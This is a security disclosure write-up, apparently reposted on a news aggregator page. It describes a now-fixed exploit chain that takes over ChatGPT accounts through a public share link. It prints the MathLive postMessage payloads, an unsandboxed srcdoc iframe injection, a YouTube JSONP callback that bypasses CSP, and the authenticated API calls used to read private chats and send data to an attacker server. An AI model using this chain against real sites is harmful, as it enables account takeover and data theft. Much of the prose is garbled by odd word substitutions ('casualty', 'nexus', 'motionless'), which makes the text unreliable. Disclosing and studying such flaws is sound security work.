We Took over ChatGPT Accounts

Hacker News by 14 min read 85x views
We Took over ChatGPT Accounts

Share Post

In October 2026, we established a way to rotate an average community ChatGPT portion into attacker-controlled JavaScript operating inner the signed-in meeting of whoever opened it.

An attacker could create a malicious conversation, publish it using ChatGPT's normal sharing feature, and dispatch the nexus to another user. When the casualty opened the share, the payload executed as chatgpt.com alongside admission to the victim's authenticated web session.

We confirmed that this code could enumerate the victim's conversation list, recover satisfied from a personal conversation that had never been shared alongside the attacker, and dispatch data from that conversation to an external server. The payload was not constricted to modifying the leaf or displaying an alert—it could immediately call ChatGPT's authenticated APIs as the victim, basically allowing us to obtain complete the victim's ChatGPT account.

The casualty did not need to instal an App, associate a Project, paste code, or open developer tools. Opening the shared nexus was the lone required action.

OpenAI fixed the matter on October 26 and classified the study as P1.

The sequence started alongside two features that looked harmless on their own: a chart and an HTML Preview.

flowchart TD A["Attacker publishes a ChatGPT conversation"] --> B["Victim opens the community share"] B --> C["HTML Preview crosses into the chief chatgpt.com page"] C --> D["JavaScript runs in the victim's signed-in session"] D --> E["Any act on chatgpt.com as the victim:<br/>read personal chats and files, alter the account"]

Technical walkthrough


It started alongside a chart and a Preview

The inquiry that started this investigation was simple: if Preview code was boxed into a distinct website, what could it motionless conversation to?

ChatGPT can rotate an HTML code obstacle into a small operating webpage using its Preview feature. Since that leaf may merge arbitrary code, ChatGPT sensibly runs it inner a restricted example on a distinct web address. The Preview can run JavaScript, but the browser treats it as a distinct website, so it cannot immediately inspect the signed-in ChatGPT leaf about it.

At first, this isolation appeared to activity exactly as intended. Code inner the Preview could not peruse parent.document, which is the chief ChatGPT page. That should have been the end of it.

The conversation additionally contained a normal interactive graph. Behind the scenes, the chart loaded a math archive called MathLive. Loading it did additional than diagram the graph: it additionally installed a listener in the chief ChatGPT leaf for messages connected to MathLive's on-screen keyboard.

Browsers call the applicable API postMessage. It is a lawful way for two frames to toggle data equal whenever the browser prevents them from study all other's pages. You can think of it as a communication slot: the restricted Preview cannot stroll into the chief page, but it can motionless autumn a communication through the slot.

That is harmless lone if the receiver checks who sent the message.

MathLive did not create that inspect for the environment we were curious in. Its listener accepted a communication that changed the virtual keyboard layout, and that layout was allowed to merge HTML. The chart had installed the receiver; the Preview gave us an untrusted sender. Two unrelated features had accidentally created a way throughout the sandbox.

The communication that should not have worked

The Preview sent two messages. The archetypal replaced a virtual keyboard layout alongside our HTML. The second told MathLive to display the keyboard, causing it to render the new layout:

top.postMessage({ type: "mathlive#virtual-keyboard-message", action: "update-setting", layouts: [{ label: "Compatibility", layers: [{ id: "compatibility", markup }] }] }, "*"); top.postMessage({ type: "mathlive#virtual-keyboard-message", action: "show", animate: false }, "*");

MathLive recognized the community communication type, but its top-level controller used an base guideline of none, which meant it accepted messages from any web address. It additionally did not necessitate the update-setting communication to arrive from a earlier approved window. Anyone who could attain the listener and knew the communication format could substitute the layout.

When the keyboard opened, MathLive joined the supplied layout into an HTML cord and assigned it to innerHTML in the genuine ChatGPT page. A helper named createHTML initially looked akin it power sanitize the value. It did not; it marked the cord as trusted and passed our HTML through unchanged.

This was exciting, but we motionless did not have JavaScript execution. Script tags inserted through innerHTML do not automatically run.

The next stage was an iframe using srcdoc, a browser characteristic that lets an embedded example transport its HTML immediately in an attribute:

<iframe srcdoc="..."></iframe>

MathLive inserted this example into the chief ChatGPT document without a sandbox attribute. That gave us two helpful properties. First, srcdoc created a caller document anywhere an external manuscript could execute. Second, since the chief ChatGPT leaf created the frame, the browser gave it the https://chatgpt.com web identity. Code inner the new example could hence admission the genitor page.

Bypassing CSP alongside YouTube JSONP

ChatGPT's Content Security Policy, or CSP, stopped us again. CSP controls which scripts a leaf may load, and the guideline correctly blocked inline JavaScript. It did, however, authorize scripts from YouTube.

YouTube's oEmbed endpoint supported a JSONP-style recall parameter. JSONP responses are JavaScript fairly than average JSON. The endpoint tried to refuse an invalid callback, but it placed the recall into the reply before returning its validation error:

https://www.youtube.com/oembed?callback=globalThis.__marker=31337;void

The reply began akin this:

// API callback globalThis.__marker=31337;void({ "error": { "code": 400, "message": "Invalid JSONP recall name: ..." } });

Ending our recall alongside ;void made the entity appended by YouTube harmless. Since YouTube was already allowed by ChatGPT's CSP, the browser loaded this reply as a manuscript and ran our recall inner the new frame.

We now had arbitrary JavaScript operating as chatgpt.com. The first Preview was motionless secluded on its distinct web address; we had traversed the border by convincing a trusted component in the chief leaf to create a new, unsandboxed document for us.

So far, this was a helpful sandbox escape, but the archetypal operating type was not a convincing real-world attack. It used a researcher-controlled ChatGPT App as the sender. A casualty would have needed to nexus or invoke that App first.

We next tried delivering the payload through a native HTML attachment. ChatGPT opened the attachment inner the identical sandboxed Preview, so it could dispatch the malicious MathLive messages.

However, whenever we exported the conversation as a community share, the attachment remained but the before chart did not. The chart was essential since it loaded MathLive and installed the susceptible communication listener in the chief page. Without it, the attachment could motionless dispatch the messages, but nothing was listening to or handling them.

The breakthrough was putting the two pieces immediately into one average community conversation:

  1. A genuine chart initialized MathLive in the chief page.
  2. A afterward assistant-authored HTML Preview sent the two messages.

The resulting /share/<id> nexus preserved the complete sequence for another user. The attacker could provision it the identical way they would dispatch any shared ChatGPT conversation—through email, chat, a assistance ticket, or a social post. The casualty did not need to instal anything, associate the attacker's workspace, or authenticate through an attacker-controlled flow. They fair had to sojourn the attacker's shared ChatGPT URL.

We observed two versions of the interaction. In the most stable reproduction, the casualty opened the portion and clicked ChatGPT's normal Preview clasp once. We afterward marked the HTML obstacle as previewable so that ChatGPT opened it automatically. In that version, beginning the nexus was the victim's lone click. We reproduced the automatic way three times in a distinct account, including following a difficult refresh, alongside the vigilant appearing following approximately 4.5 seconds.

The chart and Preview loaded independently, so the payload could occasionally dispatch its communication before MathLive was ready. The final transporter handled that competition by retrying the identical two messages for a constricted period. A defender in the chief leaf ensured that the private-conversation evidence and outbound petition ran lone once.

The community portion modified the genuine ChatGPT page
The community portion modified the genuine ChatGPT page

At this point, the community portion could display an vigilant identified by the browser as coming from chatgpt.com and could add a banner to the chief page. That proved anywhere our code was running. It did not yet display why the bug mattered.

An vigilant was not enough

At this point, displaying an vigilant was the smallest engaging item the utilize could do. The JavaScript was operating as chatgpt.com, which meant it could engage alongside ChatGPT using the identical authenticated environment as the normal web application.

The payload peruse the meeting data already accessible to the leaf and used it to call ChatGPT's conversation APIs. First, it enumerated the victim's latest conversations. It could afterward petition communication data for a selected personal conversation:

GET /backend-api/conversations?...&limit=20&order=updated&offset=0 GET /backend-api/conversations/<conversation-id>?num_turns=2

This was straightforward authenticated API access, not abrasion content that happened to be apparent on screen. The mark conversation was unrelated to the malicious portion and had never been shared alongside the attacker.

Once the reply was accessible to the injected JavaScript, sending data off-site was straightforward. The payload created an average depiction petition to a server we controlled.

We deliberately sent lone a small part of the reply off-site. The injected code had already received the authenticated conversation reply and could peruse its contents, so the exposure was not constricted to that value.

Controlled evidence that personal conversation data could depart the victim's session
Controlled evidence that personal conversation data could depart the victim's session

The outcome was a applicable cross-user data-theft primitive. A malicious community conversation could execute inner another user's signed-in ChatGPT session, enumerate personal conversations, recover personal communication content, and dispatch selected data to an attacker-controlled server.

Because the code ran alongside the web application's authenticated access, its attain was not inherently constricted to the conversation endpoints used in our proof. Other data and actions exposed through ChatGPT's authenticated frontend APIs sat inner the identical safety boundary. Essentially, we could execute any act on behalf of the victim's ChatGPT account.

What went incorrect and what OpenAI fixed

The Preview sandbox itself worked. Code inner Preview could not immediately peruse the ChatGPT page. The issue was that another component in the chief leaf was consenting to obtain its instructions.

Three scheme decisions turned that error into a complete exploit:

  1. MathLive accepted a state-changing communication without proving which example sent it.
  2. The communication format allowed raw HTML to be supplied as keyboard-layout data.
  3. That HTML could create an unsandboxed document that inherited the chatgpt.com identity.

The YouTube reply was the final workaround for CSP, not the base cause. Blocking lone that endpoint would have removed one way to JavaScript during motionless leaving an untrusted Preview capable to insert HTML into ChatGPT.

OpenAI reproduced the two the JavaScript implementation and the private-conversation proof. The fix was rolled out throughout two versions of ChatGPT's web frontend. During the rollout, CSP changes blocked part of the first sequence during one type motionless needed an update. On October 26, OpenAI confirmed that the two versions now rejected the cross-frame MathLive messages used by the study and marked the matter resolved.

The protective lessons are fairly simple:

  • A communication receiver should verify the two the sender's web location and the exact opening that was stated permission.
  • Cross-window settings should not merge raw HTML.
  • Dynamically created documents should remain sandboxed whenever their satisfied can be influenced by an untrusted frame.
  • CSP have to be a backup control, not the lone obstacle following attacker-controlled HTML reaches the chief site.

This bug was engaging since all idiosyncratic characteristic looked reasonable. Preview was isolated. Graphs could burden a math keyboard. Frames could toggle messages. CSP allowed a important media provider. Public conversations could be shared. The exposure appeared lone whenever all of those features were blended in one page.

Timeline

DateEvent
October 13, 2026Confirmed the MathLive message-to-HTML way against ChatGPT's manufacturing code.
October 14Reproduced the sequence through the normal UI and upgraded the fixed vigilant to arbitrary JavaScript.
October 16Confirmed public-share shipment between distinct accounts and workspaces alongside one Preview click.
October 17Confirmed automatic Preview from portion navigation and reproduced it following a difficult refresh.
October 18Submitted the study to OpenAI's bug bounty program.
October 19Added the controlled private-chat disclosure proof.
October 21OpenAI reproduced the issue; severity was raised from the first P2 triage to P1.
October 22OpenAI reported one web frontend fixed during the second was motionless being updated.
October 23CSP changes blocked part of the sequence during one frontend update remained.
October 26OpenAI confirmed the two frontends rejected the reported messages, resolved the issue, and awarded a total bounty of $5,000.

Technical notes

The chief narrative complete contains the complete utilize chain. The particulars below are included for readers who desire to prosecute the manufacturing code and payload transformations additional closely.

The applicable deminified authority stream was equal to:

window.addEventListener("message", (event) => { if (event.data?.type !== "mathlive#virtual-keyboard-message") return; if (!validateOrigin(event.origin, this.originValidator)) return; this.handleMessage(event.data, event.source); }); if (message.action === "update-setting" && message.layouts) { this.layouts = message.layouts; }

Layout normalization preserved layouts[].layers[].markup. Showing the keyboard eventually performed the equal of:

keyboardContainer.innerHTML = MathfieldElement.createHTML(keyboardHTML);

createHTML acted as an character or Trusted Types wrapper, not a sanitizer. Trusted Types can restrict who assigns to an HTML sink, but an character guideline does not create an attacker-controlled cord safe.

The parser and CSP transition. The innerHTML procedure could create an iframe, but a manuscript inserted immediately that way would remain inert. The unsandboxed srcdoc caused a caller HTML document parse and inherited the embedding ChatGPT origin. That document additionally inherited the productive CSP captured during testing, which blocked inline code but permitted www.youtube.com in script-src-elem.

The oEmbed reply returned HTTP 200 alongside Content-Type: text/javascript; charset=UTF-8 and X-Content-Type-Options: nosniff; no Cross-Origin-Resource-Policy header was observed. Google rewrote viewpoint brackets in the callback, so the payload used traditional function syntax alternatively of arrow functions. Ending the program alongside ;void consumed the error entity appended by the endpoint.

For the private-conversation proof, the function was converted to origin alongside toString(), twice quotes were converted to sole quotes, and whitespace was collapsed. URLSearchParams afterward encoded it into the callback, the manuscript URL was HTML-escaped inner <script src>, and that complete component was liberated again into the iframe's srcdoc attribute. The final recall was 5,533 characters; the YouTube URL was 7,309 characters; the manuscript component was 7,337 characters; and the final iframe markup was 7,390 characters.

The authenticated read. The same-origin example parsed #client-bootstrap from the genitor document, extracted the meeting admission token and document ID, and required the document ID in the token to concur alongside the meeting whenever the two were present. It used these in-memory headers:

Authorization: Bearer <victim token> ChatGPT-Account-ID: <victim account> Accept: application/json

The chief requests were:

GET /backend-api/conversations?exclude_conversation_origin=tpp&expand=false&is_archived=false&is_starred=false&limit=20&order=updated&offset=0 GET /backend-api/conversations/<id>?num_turns=2&include_has_versions=true

Only a 403, 404, or 405 on the item petition caused the code to try the bequest /backend-api/conversation/<id>?include_full_conversation=true route. The validation transmitted lone a small selected value from the response. Before the external depiction request, it cleared references to the token, account, bootstrap, session, and petition headers.

Key takeaways

  • Isolation is lone as powerful as all extend throughout it. A sandboxed example can motionless colony its genitor whenever a privileged listener trusts messages from the incorrect sender.
  • postMessage receivers must authenticate the two event.origin and event.source before accepting state-changing instructions.
  • HTML injection can rotate into JavaScript implementation through a fresh, unsandboxed document and an allowed third-party manuscript endpoint. CSP is precious defence in depth, but it cannot create an unsafe rendering way safe.
  • The effect of same-origin JavaScript must be measured in the victim's authenticated context. Once code ran as chatgpt.com, it could attain the identical personal data and document actions accessible to the normal frontend—not merely display an alert.
  • Cross-feature evaluation matters. This sequence existed in the seams between community sharing, Preview, MathLive, example creation, and CSP fairly than in any one characteristic viewed alone.

The broader instruction is that safety boundaries have to clasp throughout the complete product, not fair inner idiosyncratic components. Any community or shareable exterior have to be treated as attacker-controlled input, all cross-frame communication have to be authenticated, and untrusted markup should remain sandboxed throughout its complete rendering path.

Other Article Hacker News
↑
Close Right Ads
Close Left Ads